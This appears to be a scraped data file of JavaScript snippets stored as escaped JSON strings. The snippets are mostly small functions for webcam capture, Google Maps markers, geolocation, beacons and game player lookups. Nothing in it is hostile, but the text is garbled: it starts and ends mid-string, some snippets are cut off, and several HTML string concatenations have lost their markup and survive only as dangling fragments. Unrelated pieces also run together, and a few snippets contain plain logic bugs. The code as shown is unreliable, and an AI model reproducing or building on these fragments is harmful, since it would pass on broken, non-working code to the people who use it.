controller.getAvailableMediaStreamProperties(Windows.Media.Capture.MediaStreamType.videoRecord);\n\n deviceProps = Array.prototype.slice.call(deviceProps);\n deviceProps = deviceProps.filter(function (prop) {\n // filter out streams with \"unknown\" subtype - causes errors on some devices\n return prop.subtype !== \"Unknown\";\n }).sort(function (propA, propB) {\n // sort properties by resolution\n return propB.width - propA.width;\n });\n\n var maxResProps = deviceProps[0];\n\n controller.setMediaStreamPropertiesAsync(Windows.Media.Capture.MediaStreamType.videoRecord, maxResProps).done(function () {\n capturePreview.src = URL.createObjectURL(capture);\n // handle orientation change\n rotateVideoOnOrientationChange = true;\n capturePreview.onloadeddata = function () {\n updatePreviewForRotation();\n };\n // add event handler - will not work anyway\n window.addEventListener(\"orientationchange\", updatePreviewForRotation, false);\n\n capturePreview.play();\n\n // Insert preview frame and controls into page\n document.body.appendChild(capturePreview);\n document.body.appendChild(capturePreviewAlignmentMark);\n document.body.appendChild(captureCancelButton);\n\n startBarcodeSearch(maxResProps.width, maxResProps.height);\n });\n });\n });\n }\n }","function getVideo() {\n // Returns a promise\n navigator.mediaDevices\n .getUserMedia({ video: true, audio: false })\n .then((localMediaStream) => {\n // console.log(localMediaStream)\n // Take video and set source object to this localMediaStream\n video.srcObject = localMediaStream;\n video.play(); // emits \"canplay\" event\n })\n .catch((err) => {\n console.error(\n 'Oh no, we need your webcam permission in order for this to work!',\n err\n );\n });\n}","function manipulatevideo(){\n if( cameravideo || capturevideo ){\n cameravideo = false;\n capturevideo = false;\n capturestream = null;\n buttonOff(document.querySelector('.app__system--button.video'));\n camerastream.getVideoTracks()[0].enabled = cameravideo;\n document.getElementById('localvideo').srcObject = camerastream;\n //-------------------CREATE NEW PRODUCER-------------------------------------------\n removeOldVideoProducers();\n let videoProducer = mediasouproom.createProducer(camerastream.getVideoTracks()[0]);\n videoProducer.send(sendTransport);\n updatevideo();\n }\n}","function getCameraElement() {\r\n var camera = document.elements.findElementByTypeId(\"Microsoft.VisualStudio.3D.PerspectiveCamera\");\r\n return camera;\r\n}","function get_video(path) {\n //with camera stream, only working if we use video here not with 'var video', but before this point video doesn't exist\n video = video2;\n \n //need to be careful here: in use_webcam() the src Object is set with video.srcObject = stream; not with video.setAttribute(). If we don't reset\n //it to null it seems to override the attributes that are set with setAttribute.\n video.srcObject = null;\n //first I created a seperate source object here, which is complete nonesense\n //it's totally dufficient to add the path from the file picker
' +\n '
' +\n ' {\\n if(player_info != undefined && player_info.team != undefined && player_info.position != undefined)\\n {\\n const { player_id, fullname, image_path, position_id } = player_info;\\n if(fullname.includes(player_name))\\n {\\n if( player_info.position.data.name == position_name)\\n {\\n const { name } = player_info.team.data;\\n if(player_info.team.data.league != undefined)\\n {\\n const {id} = player_info.team.data.league.data;\\n if(id == 271) \\n {\\n return {\\n id: player_id,\\n name: fullname,\\n image: image_path,\\n position: position_id,\\n position_name: player_info.position.data.name,\\n team_name: name, \\n };\\n }\\n }\\n }\\n } \\n }\\n }); \\n }\",\n \"searchByName( nameToSearch ) {\\n let itemId = this.ItemNotFound;\\n let list = this.state[this.townName];\\n let nameToSearchLowerCase = nameToSearch.toLocaleLowerCase();\\n let nameToSearchSplit = nameToSearchLowerCase.split(' ');\\n let name0ToSearch = nameToSearchSplit[0];\\n let name1ToSearch = nameToSearchSplit[1];\\n \\n \\n for( let indx=0; indx npc.id == name);\\r\\n\\r\\n\\tif (npc.length > 0) {\\r\\n\\t\\treturn npc[0];\\r\\n\\t}\\r\\n\\r\\n\\treturn null;\\r\\n}\",\n \"function searchByName(name) {\\n var testName = name.toLowerCase();\\n if (testName===\\\"bar\\\"||\\\"bars\\\"||\\\"restaurant\\\"||\\\"restaurants\\\"||\\\"food\\\"||\\\"beer\\\") {\\n var request = {\\n location: pos,\\n radius: '500',\\n type: ['bar', 'restaurant']\\n };\\n service = new google.maps.places.PlacesService(map);\\n service.nearbySearch(request, callback);\\n } else {\\n var request = {\\n query: name,\\n fields: ['photos', 'formatted_address', 'name', 'rating', 'opening_hours', 'geometry'],\\n locationBias: {radius: 50, center: pos}\\n };\\n service = new google.maps.places.PlacesService(map);\\n service.findPlaceFromQuery(request, callback);\\n };\\n}\",\n \"function get_npc(name) {\\n var npc = parent.G.maps[character.map].npcs.filter(npc => npc.id == name);\\n\\n if (npc.length > 0) {\\n return npc[0];\\n }\\n\\n return null;\\n}\",\n \"function find_closest_asset_address(player_enter_x, player_enter_z) {\\n var closest_distance = 9999999;\\n\\n var closet_coor = null;\\n\\n // for each coordinate our coordinate map\\n for (var i = 0; i < coordinate_map.length; i++) {\\n var coor = coordinate_map[i]\\n\\n // determine the distance from that coordinate to the player enter position\\n var distance = find_distance(player_enter_x, player_enter_z, coor.x, coor.z)\\n\\n // if this coordinate is closer set it as our closest\\n if (distance < closest_distance) {\\n closest_distance = distance\\n closet_coor = coor;\\n }\\n }\\n\\n // return the address of the closest coordinate\\n if (closet_coor != null) {\\n return closet_coor.address\\n } else {\\n return \\\"\\\";\\n }\\n}\",\n \"function getBpFromName(name) {\\n\\tconsole.log(storyCardFaceUp);\\n\\tconsole.log(storyCardFaceUp.foe);\\n\\tconsole.log(name);\\n\\tfor (var i = 0; i < cardTypeList.length; i++) {\\n\\t\\t// console.log(cardTypeList[i]);\\n\\t\\t// console.log(name);\\n\\t\\tif (cardTypeList[i].name === name)\\n\\t\\t\\tif (cardTypeList[i].hasOwnProperty('bp')) {\\n\\t\\t\\t if(storyCardFaceUp.foe === name) return cardTypeList[i].bonusbp;\\n\\t\\t\\t return cardTypeList[i].bp;\\n\\t\\t\\t}\\n\\t}\\n\\treturn \\\"card not found\\\";\\n}\",\n \"function rangingCallback(beaconRegion, beacons) {\\n kony.print(\\\"Beacons found for BeaconRegion: \\\", kony.type(beaconRegion), \\\" \\\", beaconRegion, \\\" Beacons: \\\", beacons);\\n var beaconLabel = \\\"No beacons\\\";\\n var proximityLabel = \\\"...\\\";\\n if (beacons.length > 0) {\\n beacon = beacons[0];\\n proximityUUIDString = beacon.getProximityUUIDString();\\n major = beacon.getMajor();\\n minor = beacon.getMinor();\\n beaconLabel = beacon.getProximityUUIDString() + \\\" \\\" + beacon.getMajor() + \\\" \\\" + beacon.getMinor();\\n proximityLabel = beacon.getProximity();\\n }\\n if ((prevProximityUUIDString != proximityUUIDString) && (ksid != null)) {\\n beaconUpdate();\\n }\\n}\",\n \"function getPlayerData(list, playerName) {\\n for (let p = 0; p < list.length; p++) {\\n const player = list[p];\\n if (player.name === playerName) {\\n return player;\\n }\\n }\\n // console.log(\\\"Unable to find player \\\", playerName, \\\"in list:\\\\n\\\", list);\\n}\",\n \"function getPlayerData(list, playerName) {\\n for (let p = 0; p < list.length; p++) {\\n const player = list[p];\\n if (player.name === playerName) {\\n return player;\\n }\\n }\\n console.log(\\\"Unable to find player \\\", playerName, \\\"in list:\\\\n\\\", list);\\n}\",\n \"addMarker(level, openings, itemObj, startPosX = -1, startPosY = -1) {\\n let startPos = startPosX + startPosY;\\n if (startPos >= 0 && openings.indexOf(startPos) === -1 && startPos < this.maze.length) {\\n level[startPos] = itemObj;\\n }\\n else {\\n let randomCell = Math.floor(Math.random() * openings.length);\\n let addMarkerPosn = openings.splice(randomCell, 1)[0];\\n level[addMarkerPosn] = itemObj;\\n }\\n }\",\n \"function updateMap(time){\\n // console.log(\\\"----------------------------\\\");\\n if(showBeacon){\\n var position1 = JSON.parse(httpGet(beaconPosiSource)); //two dimensional JSON array\\n // console.log(\\\"----------------------------\\\");\\n var position = new ibeaconBeanGroup(position1).getAllBestLocations();\\n\\n // console.log(position1);\\n \\n // console.log(position);\\n\\n\\t\\tfor(var i=0;i {console.error(err);})\\n }else{\\n let position = this.maps[currentPlayer.position]\\n if(position){\\n let availableInteractions =''\\n if(position.interactions){\\n availableInteractions = this.utils.generateInteractionsListString(position.interactions.filter(interaction => {\\n return !currentPlayer.interactionsDone.includes(interaction.name.name)\\n }))\\n }\\n let itemList =''\\n if(this.maps[currentPlayer.position].userItems.length > 0){\\n itemList = 'Other items on the ground:\\\\n'\\n this.maps[currentPlayer.position].userItems.forEach(currentItem => {\\n itemList+=`${currentItem.name.name}\\\\n`\\n })\\n }\\n let nearbyPlayers = this.utils.generateWhoString(this.who(currentPlayer, channel))\\n channel.send(position.description+'\\\\n'+availableInteractions+'\\\\n'+nearbyPlayers+'\\\\n'+itemList).catch(err => {console.error(err);})\\n }else{\\n console.error('Current position '+currentPlayer.position);\\n console.error(this.maps);\\n }\\n\\n }\\n //TODO: Add descriptions for the things that need a pass and the pass is owned by the player\\n }\",\n \"map_attribute_name_to_buffer_name( name ) \\n { \\n return { object_space_pos: \\\"positions\\\" }[ name ]; // Use a simple lookup table.\\n }\",\n \"function addSingleMaker(){\\n\\tmarker = new google.maps.Marker({\\n\\t\\tposition:{\\n\\t\\t\\tlat: -41.295005,\\n\\t\\t\\tlng: 174.78362\\n\\t\\t},\\n\\t\\tmap: map,\\n\\t\\tanimation: google.maps.Animation.DROP,\\n\\t\\ticon: \\\"img/person.png\\\",\\n\\t\\ttitle : \\\"Yoobee School of Design\\\",\\n\\t\\tdescription: \\\"Description for Yoobee School of Design\\\"\\n\\t})\\n}\",\n \"getPlayerByName(playerName) {\\n return this.players.find((value) => {\\n return (value._player.name === playerName);\\n });\\n }\",\n \"function getloc()\\n{\\n\\n\\tvar latlng = new google.maps.LatLng(shuttle.position.latitude, shuttle.position.longitude);\\n geocoder.geocode({ latLng: latlng }, function(results, status){\\n\\t\\tfor(ac in results[0].address_components)\\n\\t\\t{\\n\\t\\t\\t//console.log(results[0].address_components[ac].types);\\n\\t\\t\\tif(results[0].address_components[ac].types == \\\"route\\\")\\n\\t\\t\\t{\\n\\t\\t\\t\\t$(\\\"#currentstreet\\\").html(\\\"Street name: \\\" + results[0].address_components[ac].long_name);\\n\\t\\t\\t}\\n\\t\\t}\\n });\\n\\n\\n}\",\n \"get(name){\\n let gameId = this.list.findIndex(i => i.getName() === name.toLowerCase());\\n return this.list[gameId];\\n }\",\n \"function addMarker(map,info_friend,info_bulle){\\n var marker = new google.maps.Marker({\\n position: new google.maps.LatLng(info_friend.lat, info_friend.lng),\\n label: \\\"\\\" + info_friend.name,\\n map: map,\\n title : \\\"Location of \\\" + info_friend.name\\n });\\n\\n marker.addListener('click', function() {\\n info_bulle.open(map, marker);\\n });\\n return marker;\\n}\",\n \"function getInfo (name) {\\n\\tconsole.log(name);\\n\\tconst playerId = name.accountId;\\n\\tconsole.log(`Account ID: ${playerId}`);\\n\\tconst playerName = name.name;\\n\\tconsole.log(`Player name: ${playerName}`);\\n\\tconst summonerLevel = name.summonerLevel;\\n\\tconsole.log(`Player Level: ${summonerLevel}`);\\n\\tconst profileIcon = name.profileIconId;\\n\\tconsole.log(`Icon number: ${profileIcon}`);\\n\\trenderName(playerName, summonerLevel, profileIcon);\\n\\t$('.matches').html(`${playerName}'s last 3 matches`);\\n\\tgetRecentMatches(playerId, getMatchList);\\n}\",\n \"function positionOf(symb, someBoard, player) {\\n\\n\\t//print_board(someBoard);\\n\\n\\tvar tempSq = {};\\n\\n\\tfor ( var a = 0; a <= 11; a++) {\\n\\t\\tfor (var b = 0; b <= 11; b++) {\\n\\n\\t\\t\\tif (someBoard[a][b].symbol.includes(symb) && player === someBoard[a][b].player){\\n\\n\\t\\t\\t\\ttempSq.row = a;\\n\\t\\t\\t\\ttempSq.col = b;\\n\\t\\t\\t\\treturn tempSq;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n}\",\n \"function findMarkerIndex(name) {\\n //name 'SFO - San Fr...'\\n return markers.findIndex(function (m) {\\n return m.title === name;\\n });\\n}\",\n \"createPlayer() {\\n let startWithBob = true;\\n this.map.findObject('Player', (obj) => {\\n if (obj.type === 'StartPosition') {\\n if (obj.properties && obj.properties.hasOwnProperty('Start')) startWithBob = false;\\n if (obj.name === 'Bob') {\\n this.bob = new Bob(this, obj.x, obj.y);\\n this.bob.depth = 100;\\n this.game.Bob = this.bob;\\n }\\n if (obj.name === 'Flit') {\\n this.flit = new Flit(this, obj.x, obj.y);\\n this.flit.depth = 100;\\n this.game.Flit = this.flit;\\n }\\n }\\n });\\n\\n this.ActivePlayer = startWithBob ? this.game.Bob : this.game.Flit;\\n this.cameras.main.startFollow(this.ActivePlayer);\\n }\",\n \"getNewPosition() {\\r\\n this.newPosition = this.positionRandom();\\r\\n // Cree une fonction qui test avec marge les nouvelle position des bombs\\r\\n // Transformer et juste tester si une element avec une position similaire est deja sur la map \\r\\n return this.newPosition;\\r\\n }\",\n \"function prepEventMarker(){\\n\\tvar eventDetails = getEventData();\\n\\tvar location = eventDetails[0];\\n\\tvar title = eventDetails[1];\\n\\n\\t//We need to be careful with the location. When we store it, the location name usually comes before the address\\n\\t//ie Vancouver Pizza: 225 Main St.\\n\\tvar locationSplit = location.split(':'); //This assumes a colon isn't used in an address (which I belive is safe to assume)\\n\\tif(locationSplit.length>1){ //The name was in there\\n\\t\\tlocation = locationSplit[1]; //Set the location to just the address\\n\\t}\\n\\n\\tconsole.log('Initing with: Title: ' + title + \\\" Loc: \\\" + location);\\n\\tinitEventData(title, location);\\n}\",\n \"function winnerName() {\\n if(winnerAddress === myAddress) {\\n return \\\"Me\\\";\\n }\\n if(winnerAddress === oppAddress) {\\n return \\\"Opponent\\\";\\n }\\n }\",\n \"function place(name, address, road){\\n this.name = name;\\n this.address = address;\\n this.road = road;\\n console.log(`${this.name} ${this.address} ${this.road}`);\\n if (this.name == 'ctg'){\\n this.name = 'Chittagong';\\n }\\n console.log(`${this.name} ${this.address} ${this.road}`);\\n}\",\n \"function reportPosition() {\\n var p = distanceWidget.get('position'),\\n d = distanceWidget.get('distance'),\\n name = $('input[name=name]');\\n \\n socket.send(JSON.stringify({\\n 'action': 'update position',\\n 'lat': p.lat(), \\n 'lng': p.lng(), \\n 'distance': d, \\n 'name': name.val() \\n }));\\n}\",\n \"function mainMarker(x,y,name,i) {\\n \\n \\n var marker = new google.maps.Marker({\\n position: {lat: x, lng: y},\\n map: map,\\n label:(++i).toString(), \\n \\n title: name\\n });\\n markerArray.push(marker);\\n }\",\n \"function playerBattedInMatchAtPos(playerId, matchNo, battingPos)\\n{\\n if (playerId == -1)\\n return true;\\n\\n if (MATCHES_ARRAY[matchNo]['batsmanIDarray'][battingPos - 1] == playerId)\\n return true;\\n else\\n return false;\\n}\",\n \"function emitBeaconUpdate(id) {\\n var ship = ships.shipGet(id)\\n var out = {};\\n\\n out[id] = ship.spawnPoint;\\n\\n io.sockets.emit('shipbeaconstat', out);\\n}\",\n \"function addSugar(name, x, y) {\\n\\tlocs.push([x, y]);\\n\\tnames.push(name);\\n}\",\n \"function getSpawnPosition(source) {\\n var positions = getSamplePositions(source.room, source.pos, 5),\\n closest;\\n positions = _.filter(positions, (position) => (Game.map.getTerrainAt(position) == 'plain'));\\n closest = source.pos.findClosestByPath(positions);\\n return closest;\\n}\",\n \"function createBeacon() {\\n\\n // throws an error if the parameters are not valid\\n var beaconRegion = new cordova.plugins.locationManager.BeaconRegion(identifier, uuid, major, minor);\\n\\n return beaconRegion; \\n}\",\n \"function searchGameRoom(gamerooms,name){\\n\\tfor (var i = 0 ; i < gamerooms.length ; i++ ){\\n\\t\\tif(gamerooms[i].name === name){\\n\\t\\t\\treturn i;\\n\\t\\t}\\n\\t}\\n\\treturn -1;\\n}\",\n \"function findPlate(plate_name) {\\n for(i = 0; i < ordered_plates.length; i++) {\\n if (ordered_plates[i].name.localeCompare(plate_name) == 0) {\\n return ordered_plates[i];\\n }\\n }\\n }\",\n \"@wire(getRecord, { recordId: '$recordId', fields })\\n loadBear({ error, data}){\\n if(error){\\n //Handle error\\n } else if (data){\\n //Get bear Data\\n this.name = data.fields.Name.value;\\n const Latitude = data.fields.Location__Latitude__s.value;\\n const Longitude = data.fields.Location__Longitude__s.value;\\n //Transformar bear data en map markers\\n this.mapMarkers = [{\\n location: {Latitude, Longitude},\\n title: this.name,\\n description: 'Coords: ' + {Latitude} + ', ' + {Longitude}\\n }];\\n }\\n }\",\n \"function getSummonerName(){\\n\\n}\",\n \"findClosest(mapItem) {\\n let closestNames = [];\\n\\n this.state.mapTextItems.forEach(mapTextItem => {\\n if (mapItem.regionId === mapTextItem.regionId) {\\n let xdif = Math.abs(mapItem.x - mapTextItem.x);\\n let ydif = Math.abs(mapItem.y - mapTextItem.y);\\n let distance = Math.sqrt(Math.pow(xdif, 2) + Math.pow(ydif, 2));\\n closestNames.push({ text: mapTextItem.text, distance: distance });\\n }\\n });\\n\\n closestNames.sort(this.compare);\\n return closestNames[0].text;\\n }\",\n \"if(snakes[1].loc.dist(food.loc) === 0){\\n food.pickLoc();\\n snakes[1].addSegment();\\n\\n}\",\n \"function findVertex(name) {\\n\\t\\tvar objects = alasql.databases[alasql.useid].objects;\\n\\t\\tfor(var k in objects) {\\n\\t\\t\\tif(objects[k].name === name) {\\n\\t\\t\\t\\treturn objects[k];\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\treturn undefined;\\n\\t}\",\n \"map_attribute_name_to_buffer_name( name ) // The shader will pull single entries out of the vertex arrays, by their data fields'\\n { \\n return { object_space_pos: \\\"positions\\\" }[ name ]; // Use a simple lookup table.\\n }\",\n \"function animatePoint(name) {\\n for (let item in points){\\n if (points[item].title == name) {\\n points[item].setAnimation(google.maps.Animation.BOUNCE);\\n showForsquareInfo(\\n points[item].getPosition().lat(),\\n points[item].getPosition().lng(),\\n points[item].getTitle()\\n );\\n //Makes the marker bounce only once\\n setTimeout(function(){ points[item].setAnimation(null); }, 700);\\n }\\n }\\n}\",\n \"function place_player()\\n{\\n\\tvar col;\\n\\tvar row;\\n\\t\\n\\tswitch(player_number)\\n\\t{\\n\\t\\tcase 0:\\n\\t\\t\\tif(is_two_player_game)\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 27;\\n\\t\\t\\t\\trow = 20;\\n\\t\\t\\t}\\n\\t\\t\\telse\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 27;\\n\\t\\t\\t\\trow = 19;\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t\\tbreak;\\n\\t\\tcase 1:\\n\\t\\t\\tif(is_two_player_game)\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 29;\\n\\t\\t\\t\\trow = 20;\\n\\t\\t\\t}\\n\\t\\t\\telse\\n\\t\\t\\t{\\n\\t\\t\\t\\tcol = 29;\\n\\t\\t\\t\\trow = 21;\\n\\t\\t\\t}\\n\\t\\t\\t\\n\\t\\t\\tbreak;\\n\\t\\tcase 2:\\n\\t\\t\\tcol = 29;\\n\\t\\t\\trow = 19;\\n\\t\\t\\tbreak;\\n\\t\\tcase 3:\\n\\t\\t\\tcol = 27;\\n\\t\\t\\trow = 21;\\n\\t\\t\\tbreak;\\n\\t}\\n\\t\\n\\tvar player_text = Crafty.e(\\\"2D, DOM, Text\\\")\\n\\t\\t.attr({x: col * 16, y: row * 16 - 15, w: 75})\\n\\t\\t.textColor('#FFFFFF')\\n\\t\\t.text(list_of_users[player_number]);\\n\\t\\t\\n\\tplayer = Crafty.e('PlayerCharacter').at(col, row).attach(player_text);\\n}\",\n \"function itemByName (name) {\\n return bot.inventory.items().filter(item => item.name === name)[0]\\n}\",\n \"function findMarker(buffer, position) {\\n var index;\\n for (index = position; index < buffer.length; index++) {\\n if ((buffer[index] == marker1) && (buffer[index + 1] == marker2))\\n return index;\\n }\\n return -1;\\n}\",\n \"who(currentPlayer, channel){\\n let map = this.maps[currentPlayer.position]\\n let nearbyPlayers = new Array()\\n this.players.forEach(player => {\\n if(player !== currentPlayer && player.position === currentPlayer.position){\\n nearbyPlayers.push(player)\\n }\\n })\\n return nearbyPlayers\\n }\",\n \"function addmarkerforpeaks() {\\n for (var i = 0; i < snowCaps.peaks.length; i++) {\\n // Get the position from the location array.\\n var position = snowCaps.peaks[i].position;\\n var title = snowCaps.peaks[i].name;\\n //console.log(title,position);\\n // Create a marker per location, and put into markers array.\\n var marker = new google.maps.Marker({\\n position: position,\\n title: title,\\n map: map,\\n icon: 'https://www.distancebetween.us/assets/img/apple-icon-60x60.png',\\n animation: google.maps.Animation.DROP,\\n });\\n // Push the marker to our array of markers.\\n markers.push(marker);\\n }\\n}\",\n \"function getPosFinder(pos){\\n var posFinder = balloonpositionsarray[0].find(function(element) {\\n return element == pos;\\n });\\n\\n return posFinder;\\n }\",\n \"function locationName () {\\n place.className = 'current-location';\\n document.getElementsByTagName('body')[0].appendChild(place);\\n // place.innerHTML = loc.address_components[1].long_name + ', ' + loc.address_components[2].long_name;\\n // check for errors and using previous manual location\\n if (usingPrevious) {\\n changeLink.innerText = 'change';\\n changeLink.href = '#';\\n changeLink.className = 'last-known';\\n changeLink.addEventListener('click', function (e) {\\n e.preventDefault();\\n Tab.changeLocation();\\n });\\n place.innerHTML = loc.formatted_address +\\n 'Using last known location ';\\n place.appendChild(changeLink);\\n // console.log(changeLink)\\n // TODO: add change location here\\n } else {\\n place.innerHTML = loc.formatted_address;\\n }\\n }\",\n \"function collectPlayer(name) {\\n if (name === game.players[game.turn].name) {\\n setDrawer(game);\\n } \\n else {\\n setGuesser(name);\\n }\\n \\n }\",\n \"born(x, y) {\\n let l = createVector(x, y);\\n let dna = new DNA();\\n let name = this.makeid(8);\\n console.log(name);\\n this.creatures.push(new Creature(l, dna, name));\\n }\",\n \"try_to_match_local(data_received){\\n\\t\\tlet data = {'type':'try_to_match', 'id': this.guid, 'latitude': this.latitude, 'longitude': this.longitude}\\n\\t\\tsend_msg(data)\\n\\t}\",\n \"function CurrentLocation() {\\n Marker1=new google.maps.LatLng(clat, clng); addMarker(Marker1, \\\"Current Location\\\");\\n }\",\n \"function getKey_(position) \\n{\\n return \\\"key-\\\"+ OsmMaps.position.coords.latitude.toFixed(4) + \\\"-\\\" + OsmMaps.position.coords.longitude.toFixed(4);\\n}\",\n \"function markerPosition(position)\\n{\\n\\tvar id = $('#'+position);\\n\\tif(turno)\\n\\t{\\n\\t\\tif(isFull(position))\\n\\t\\t{\\n\\t\\t\\tboard[position]=llenoA;\\n\\t\\t\\tnumJugadas1++;\\n\\t\\t\\tid.find('i').remove();\\n\\t\\t\\tid.append('');\\n\\t\\t\\t$('#mov1').text(numJugadas1);\\n\\t\\t\\tturno=false;\\n\\t\\t\\tif(isChampion(llenoA))\\n\\t\\t\\t{\\n\\t\\t\\t\\tlocalStorage.setItem('ganador',$(\\\"#jugador1\\\").val());\\n\\t\\t\\t\\tlocalStorage.setItem('perdedor',$(\\\"#jugador2\\\").val());\\n\\t\\t\\t\\tlocalStorage.setItem('numJugadas', numJugadas1);\\n\\n\\t \\t\\t\\tswal({\\n \\t\\t\\t\\ttitle: \\\"¡Felicidades \\\"+$(\\\"#jugador1\\\").val()+\\\" Ganaste!\\\",\\n \\t\\t\\t\\timageUrl: \\\"img/goods.png\\\"\\n \\t\\t\\t});\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\telse\\n\\t\\t{\\n\\t\\t\\talert(\\\"Esta posicion ya esta llena\\\");\\n\\t\\t}\\n\\t}\\n\\telse\\n\\t{\\n\\t\\tif(isFull(position))\\n\\t\\t{\\n\\t\\t\\tboard[position]=llenoB;\\n\\t\\t\\tnumJugadas2++;\\n\\t\\t\\tid.find('i').remove();\\n\\t\\t\\tid.append('');\\n\\t\\t\\t$('#mov2').text(numJugadas2);\\n\\t\\t\\tturno=true;\\n\\t\\t\\tif(isChampion(llenoB))\\n\\t\\t\\t{\\n\\t\\t\\t\\tlocalStorage.setItem('ganador',$(\\\"#jugador2\\\").val());\\n\\t\\t\\t\\tlocalStorage.setItem('perdedor',$(\\\"#jugador1\\\").val());\\n\\n\\t\\t\\t\\tlocalStorage.setItem('numJugadas',numJugadas2);\\n\\t\\t\\t\\tswal({\\n \\t\\t\\t\\ttitle: \\\"¡Felicidades \\\"+$(\\\"#jugador2\\\").val()+\\\" Ganaste!\\\",\\n \\t\\t\\t\\timageUrl: \\\"img/goods.png\\\"\\n \\t\\t\\t});\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\telse\\n\\t\\t{\\n\\t\\t\\talert(\\\"Esta posicion ya esta llena\\\");\\n\\t\\t}\\n\\n\\t}\\n}\",\n \"function insertName1(){\\n let playerSpan1 = $(`.Player1`)\\n let playerInput1 = $(`input.button1`)\\n \\n playerInput1.on(`input`,function(){\\n gameState.playerNames[0] = ($(this).val())\\n playerSpan1.text(gameState.playerNames[0])\\n return playerSpan1\\n })\\n}\",\n \"function Start () {\\n\\tUpperLaser = GameObject.Find(\\\"MapScript\\\");\\n\\t//LowerLaser = GameObject.Find(\\\"MapScript02\\\");\\n\\tFlameThrower = GameObject.Find(\\\"FlameThrower\\\");\\n\\tBeam = GameObject.Find(\\\"MapScriptB\\\");\\n\\tTrapSpawn = GameObject.Find(\\\"TrapSpawn\\\");\\n\\t//Saw = GameObject.Find(\\\"ChainSaw\\\");\\n}\",\n \"openInfoWindow(marker, longName) {\\n this.closeInfoWindow();\\n this.state.infowindow.open(this.state.map, marker);\\n marker.setAnimation(window.google.maps.Animation.BOUNCE);\\n this.setState({\\n 'prevmarker': marker\\n });\\n this.state.infowindow.setContent('Loading Data...');\\n this.state.map.setCenter(marker.getPosition());\\n this.state.map.panBy(0, -150);\\n if(longName.includes(\\\"Eric\\\"))\\n {\\n this.getOurBF4MarkerInfo(marker, longName, 'Diabeeeeeeeeetus');\\n }\\n if (longName.includes(\\\"Violet\\\"))\\n {\\n this.getOurBF4MarkerInfo(marker, longName, 'djbobbysocks');\\n }\\n else{\\n this.getMarkerInfo(marker, longName);\\n }\\n }\",\n \"function dropMarker(a, b, courtname){\\n\\tvar lat = a;\\n\\tvar lon = b;\\n\\tmyLatlng = new google.maps.LatLng(lat, lon);\\n\\tvar marker = new google.maps.Marker({\\n\\t\\tposition: myLatlng,\\n\\t\\tmap: map,\\n\\t\\ttitle: courtname\\n\\t});\\n\\tmarker.setMap(map);\\n}\",\n \"function geocodeCords(positionObject) {\\n var geocoder = new google.maps.Geocoder;\\n posLat = positionObject.lat;\\n posLng = positionObject.lng;\\n cordsPos = posLat + \\\", \\\" + posLng;\\n // cordsPos = positionObject;\\n geocoder.geocode({'location': positionObject}, function (results, status) {\\n if (status === 'OK') {\\n if (results[1]) {\\n namePos = (results[1].formatted_address);\\n locationInput.value = namePos;\\n addMarker(positionObject);\\n } else {\\n window.alert('No results found');\\n }\\n } else {\\n window.alert('Geocoder failed due to: ' + status);\\n }\\n });\\n }\",\n \"function zControlBattleMapFollowGamer(position)\\n{\\n zObjectBattleMapLatLng[\\\"gamrLat\\\"] = position.coords.latitude;\\n zObjectBattleMapLatLng[\\\"gamrLng\\\"] = position.coords.longitude;\\n \\n document.getElementById(\\\"map-info-crnt\\\").innerHTML = \\\"CRNT_LAT :{\\\" + zObjectBattleMapLatLng[\\\"crntLat\\\"] + \\\"}:CRNT_LNG :{\\\" + zObjectBattleMapLatLng[\\\"crntLng\\\"] + \\\"}:\\\";\\n document.getElementById(\\\"map-info-gamr\\\").innerHTML = \\\"GAMR_LAT:{\\\" + zObjectBattleMapLatLng[\\\"gamrLat\\\"] + \\\"}:GAMR_LNG:{\\\" + zObjectBattleMapLatLng[\\\"gamrLng\\\"] + \\\"}:\\\";\\n var date = new Date();\\n document.getElementById(\\\"map-info-date\\\").innerHTML = \\\"DATE_TIME:{\\\" + date.getTime() + \\\"}:\\\";\\n \\n if(zObjectBattleMapLatLng[\\\"crntLat\\\"] != zObjectBattleMapLatLng[\\\"gamrLat\\\"]\\n || zObjectBattleMapLatLng[\\\"crntLng\\\"] != zObjectBattleMapLatLng[\\\"gamrLng\\\"])\\n {\\n zObjectBattleMapGamer.setMap(null);\\n \\n var zObjectBattleMapCenterLatLng = new google.maps.LatLng(zObjectBattleMapLatLng[\\\"gamrLat\\\"], zObjectBattleMapLatLng[\\\"gamrLng\\\"]);\\n zObjectBattleMap.setCenter(zObjectBattleMapCenterLatLng);\\n \\n zObjectBattleMapGamer = new google.maps.Marker(\\n {\\n position: zObjectBattleMapCenterLatLng,\\n map: zObjectBattleMap,\\n title: 'Hello World!'\\n });\\n \\n zObjectBattleMapLatLng[\\\"crntLat\\\"] = zObjectBattleMapLatLng[\\\"gamrLat\\\"];\\n zObjectBattleMapLatLng[\\\"crntLng\\\"] = zObjectBattleMapLatLng[\\\"gamrLng\\\"];\\n }\\n \\n zControlHazardDistancetoGamer();\\n \\n zControlGamerMapStatus({\\n\\t code: 0, \\n\\t message: \\\"Good Map Status\\\",\\n \\ttimeofcoords: position.timestamp,\\n \\tmethod: \\\"zControlBattleMapFollowGamer\\\"\\n\\t});\\n}\",\n \"function updateName1OnDOM() {\\n db.ref('Names/player1').once('value', function (snapshot) {\\n name = snapshot.val();\\n if (name !== null) {\\n var a = $('
' + r.name + '
' +\n '' + r.location.address + '
' +\n 'Average cost for two: $' +\n r.average_cost_for_two + '
' +\n '' +\n '' + 'Menu Url';\n var address = r.location.address;\n\n var newMarker = {marker:marker, content:contentString};\n\n // Create an onclick event to open an infowindow at each marker.\n marker.addListener('click', function() {\n hideAnimation();\n marker.setAnimation(google.maps.Animation.BOUNCE);\n populateInfoWindow(this, largeInfowindow, contentString);\n });\n return newMarker;\n //}\n } // end of createMarker","function Player1Name(value)//Sets the name of player 1 and adds to the list of potential winners if not already there.\n{\n model.player1.name=value;\n var index = model.winners.find(winners => winners.name == value)\n if(!index){model.winners.push({name:`${model.player1.name}`,wins:0})}\n}","function onLocationFound(location){\n\n\t// Update the model with the coordinate pair for use later.\n\tapp.position = location;\n\n\t// If successful, find all nearby brunch locations at those coordinates.\n findNearbyBrunchLocations(location.coords);\n\n}"],"string":"[\n \"function 